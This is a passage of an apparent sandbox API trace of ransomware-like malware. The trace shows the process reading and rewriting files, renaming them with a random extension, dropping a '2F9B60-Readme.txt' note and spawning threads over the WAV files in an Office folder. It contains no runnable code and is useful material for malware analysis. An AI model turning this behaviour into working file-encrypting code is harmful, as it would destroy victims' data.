Seed=0x297cf6f0) returned 0x601eefae [0151.346] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x8ba2657 [0151.346] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x72113452 [0151.346] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x7aca51ef [0151.346] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x475ee345 [0151.346] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x62e94da4 [0151.346] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x3ac096cc [0151.346] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x4004c8fa [0151.346] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x6091be61 [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x12fd2d57 [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x479896b6 [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x64a12483 [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x7dabd4ca [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x314afddb [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x7308115 [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x41c72036 [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x21c8d944 [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x86d6648 [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x5fffbbee [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x504405d6 [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x2302763 [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x60e6106 [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x62bac796 [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x608b69da [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x15da90e4 [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x4232fe61 [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x1c607e01 [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x289f64c3 [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x54f3ce0b [0151.347] RtlRandomEx (in: Seed=0x297cf6f0 | out: Seed=0x297cf6f0) returned 0x664fa0c5 [0151.356] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0151.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8694c0 [0151.357] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7060 [0151.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8694c0) returned 1 [0151.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7000) returned 1 [0151.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6eb0) returned 1 [0151.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424d79b0 [0151.358] SetFilePointerEx (in: hFile=0x2508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.358] ReadFile (in: hFile=0x2508, lpBuffer=0x424d79b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x297cf760, lpOverlapped=0x0 | out: lpBuffer=0x424d79b0*, lpNumberOfBytesRead=0x297cf760*=0x3c00, lpOverlapped=0x0) returned 1 [0151.383] SetFilePointerEx (in: hFile=0x2508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058740 [0151.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0151.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ba90 [0151.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ba90) returned 1 [0151.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424e69f0 [0151.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205ba90 [0151.384] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bac0 [0151.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bac0) returned 1 [0151.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0151.385] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058740) returned 1 [0151.385] WriteFile (in: hFile=0x2508, lpBuffer=0x424e69f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x297cf760, lpOverlapped=0x0 | out: lpBuffer=0x424e69f0*, lpNumberOfBytesWritten=0x297cf760*=0x3c00, lpOverlapped=0x0) returned 1 [0162.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424e69f0) returned 1 [0162.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424d79b0) returned 1 [0162.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18fc0 [0162.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420586a0 [0162.552] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869540 [0162.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18ff0 [0162.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18ff0) returned 1 [0162.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c18ff0 [0162.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19020 [0162.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19050 [0162.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19050) returned 1 [0162.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869540) returned 1 [0162.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420586a0) returned 1 [0162.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x104) returned 0x42c16f70 [0162.566] SetFilePointerEx (in: hFile=0x2508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.566] WriteFile (in: hFile=0x2508, lpBuffer=0x42c16f70*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x297cf810, lpOverlapped=0x0 | out: lpBuffer=0x42c16f70*, lpNumberOfBytesWritten=0x297cf810*=0x104, lpOverlapped=0x0) returned 1 [0164.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18960 [0164.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce246a0 [0164.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6fd0 [0164.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6fd0) returned 1 [0164.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d180 [0164.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6fd0 [0164.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f6fa0 [0164.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6fa0) returned 1 [0164.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce246a0) returned 1 [0164.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18960) returned 1 [0164.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x422f6fa0 [0164.668] sprintf (in: _Dest=0x422f6fa0, _Format="%c%c" | out: _Dest="51") returned 2 [0164.668] sprintf (in: _Dest=0x422f6fa2, _Format="%c%c" | out: _Dest="31") returned 2 [0164.668] sprintf (in: _Dest=0x422f6fa4, _Format="%c%c" | out: _Dest="af") returned 2 [0164.668] sprintf (in: _Dest=0x422f6fa6, _Format="%c%c" | out: _Dest="e5") returned 2 [0164.668] sprintf (in: _Dest=0x422f6fa8, _Format="%c%c" | out: _Dest="86") returned 2 [0164.668] sprintf (in: _Dest=0x422f6faa, _Format="%c%c" | out: _Dest="f5") returned 2 [0164.668] sprintf (in: _Dest=0x422f6fac, _Format="%c%c" | out: _Dest="1e") returned 2 [0164.668] sprintf (in: _Dest=0x422f6fae, _Format="%c%c" | out: _Dest="ff") returned 2 [0164.668] sprintf (in: _Dest=0x422f6fb0, _Format="%c%c" | out: _Dest="10") returned 2 [0164.668] sprintf (in: _Dest=0x422f6fb2, _Format="%c%c" | out: _Dest="84") returned 2 [0164.668] sprintf (in: _Dest=0x422f6fb4, _Format="%c%c" | out: _Dest="67") returned 2 [0164.668] sprintf (in: _Dest=0x422f6fb6, _Format="%c%c" | out: _Dest="56") returned 2 [0164.668] sprintf (in: _Dest=0x422f6fb8, _Format="%c%c" | out: _Dest="bf") returned 2 [0164.668] sprintf (in: _Dest=0x422f6fba, _Format="%c%c" | out: _Dest="30") returned 2 [0164.668] sprintf (in: _Dest=0x422f6fbc, _Format="%c%c" | out: _Dest="f7") returned 2 [0164.668] sprintf (in: _Dest=0x422f6fbe, _Format="%c%c" | out: _Dest="b5") returned 2 [0164.668] sprintf (in: _Dest=0x422f6fc0, _Format="%c%c" | out: _Dest="16") returned 2 [0164.668] sprintf (in: _Dest=0x422f6fc2, _Format="%c%c" | out: _Dest="f1") returned 2 [0164.668] RtlInitAnsiString (in: DestinationString=0x297cf888, SourceString="5131afe586f51eff10846756bf30f7b516f1" | out: DestinationString="5131afe586f51eff10846756bf30f7b516f1") [0164.669] RtlAnsiStringToUnicodeString (in: DestinationString=0x297cf858, SourceString="5131afe586f51eff10846756bf30f7b516f1", AllocateDestinationString=1 | out: DestinationString="5131afe586f51eff10846756bf30f7b516f1") returned 0x0 [0164.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd87030 [0164.669] RtlFreeAnsiString (AnsiString="5") [0164.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6fa0) returned 1 [0164.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6fd0) returned 1 [0164.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c16f70) returned 1 [0164.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18ff0) returned 1 [0164.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19020) returned 1 [0164.670] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18fc0) returned 1 [0164.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ba90) returned 1 [0164.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f6f70) returned 1 [0164.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0164.671] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7060) returned 1 [0164.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x2050bab0 [0164.672] wcscat (in: _Dest=0x2050bab0, _Source="5131afe58" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\5131afe58") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\5131afe58" [0164.672] wcscat (in: _Dest=0x2050bab0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\5131afe58.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\5131afe58.2f9b60" [0164.672] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\5131afe58.2f9b60", NtPathName=0x297cf830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\5131afe58.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x118610 [0164.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118610) returned 1 [0164.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c32950) returned 1 [0164.674] NtQueryInformationFile (in: FileHandle=0x2508, IoStatusBlock=0x297cf898, FileInformation=0x297cf8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x297cf898, FileInformation=0x297cf8a8) returned 0x0 [0164.674] NtSetInformationFile (FileHandle=0x2508, IoStatusBlock=0x297cf898, FileInformation=0x297cf8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0164.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bab0) returned 1 [0164.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd87030) returned 1 [0164.676] FlushFileBuffers (hFile=0x2508) returned 1 [0166.274] CloseHandle (hObject=0x2508) returned 1 [0199.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x431f3010 [0199.646] wcscpy (in: _Dest=0x431f3010, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\" [0199.646] wcscat (in: _Dest=0x431f3010, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\2F9B60-Readme.txt" [0199.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\2f9b60-readme.txt")) returned 0xffffffff [0199.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8ec [0203.854] WriteFile (in: hFile=0x8ec, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x297cf750, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x297cf750*=0xba9, lpOverlapped=0x0) returned 1 [0209.360] CloseHandle (hObject=0x8ec) returned 1 [0216.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f3010) returned 1 [0216.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cfb0) returned 1 [0216.697] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7860, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIGGLE.WAV", cAlternateFileName="")) returned 1 [0216.697] wcscmp (_String1="GIGGLE.WAV", _String2=".") returned 1 [0216.697] wcscmp (_String1="GIGGLE.WAV", _String2="..") returned 1 [0216.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4205cfb0 [0216.698] wcscpy (in: _Dest=0x4205cfb0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" [0216.698] wcscat (in: _Dest=0x4205cfb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\" [0216.698] wcscat (in: _Dest=0x4205cfb0, _Source="GIGGLE.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\GIGGLE.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\GIGGLE.WAV" [0216.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205cfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608 [0216.811] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x38ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="HICCUP.WAV", cAlternateFileName="")) returned 1 [0216.811] wcscmp (_String1="HICCUP.WAV", _String2=".") returned 1 [0216.811] wcscmp (_String1="HICCUP.WAV", _String2="..") returned 1 [0216.811] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4318b4e0 [0216.811] wcscpy (in: _Dest=0x4318b4e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" [0216.811] wcscat (in: _Dest=0x4318b4e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\" [0216.811] wcscat (in: _Dest=0x4318b4e0, _Source="HICCUP.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\HICCUP.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\HICCUP.WAV" [0216.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4318b4e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc20 [0216.812] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x58adaa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMHMM.WAV", cAlternateFileName="")) returned 1 [0216.812] wcscmp (_String1="MMHMM.WAV", _String2=".") returned 1 [0216.812] wcscmp (_String1="MMHMM.WAV", _String2="..") returned 1 [0216.812] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x4318b580 [0216.812] wcscpy (in: _Dest=0x4318b580, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" [0216.812] wcscat (in: _Dest=0x4318b580, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\" [0216.812] wcscat (in: _Dest=0x4318b580, _Source="MMHMM.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\MMHMM.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\MMHMM.WAV" [0216.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4318b580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b20 [0216.813] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9c84, dwReserved0=0x0, dwReserved1=0x0, cFileName="SNEEZE.WAV", cAlternateFileName="")) returned 1 [0216.813] wcscmp (_String1="SNEEZE.WAV", _String2=".") returned 1 [0216.813] wcscmp (_String1="SNEEZE.WAV", _String2="..") returned 1 [0216.813] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4318b620 [0216.814] wcscpy (in: _Dest=0x4318b620, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" [0216.814] wcscat (in: _Dest=0x4318b620, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\" [0216.814] wcscat (in: _Dest=0x4318b620, _Source="SNEEZE.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\SNEEZE.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\SNEEZE.WAV" [0216.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4318b620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x190c [0216.814] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8d36, dwReserved0=0x0, dwReserved1=0x0, cFileName="THROAT.WAV", cAlternateFileName="")) returned 1 [0216.814] wcscmp (_String1="THROAT.WAV", _String2=".") returned 1 [0216.814] wcscmp (_String1="THROAT.WAV", _String2="..") returned 1 [0216.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4318b6c0 [0216.815] wcscpy (in: _Dest=0x4318b6c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" [0216.815] wcscat (in: _Dest=0x4318b6c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\" [0216.815] wcscat (in: _Dest=0x4318b6c0, _Source="THROAT.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\THROAT.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\THROAT.WAV" [0216.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4318b6c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18fc [0216.815] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7302, dwReserved0=0x0, dwReserved1=0x0, cFileName="Whistling.wav", cAlternateFileName="WHISTL~1.WAV")) returned 1 [0216.816] wcscmp (_String1="Whistling.wav", _String2=".") returned 1 [0216.816] wcscmp (_String1="Whistling.wav", _String2="..") returned 1 [0216.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050cb30 [0216.816] wcscpy (in: _Dest=0x2050cb30, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" [0216.816] wcscat (in: _Dest=0x2050cb30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\" [0216.816] wcscat (in: _Dest=0x2050cb30, _Source="Whistling.wav" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\Whistling.wav") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\Whistling.wav" [0216.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2050cb30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c0 [0216.817] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1ce1ff40 | out: lpFindFileData=0x1ce1ff40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7302, dwReserved0=0x0, dwReserved1=0x0, cFileName="Whistling.wav", 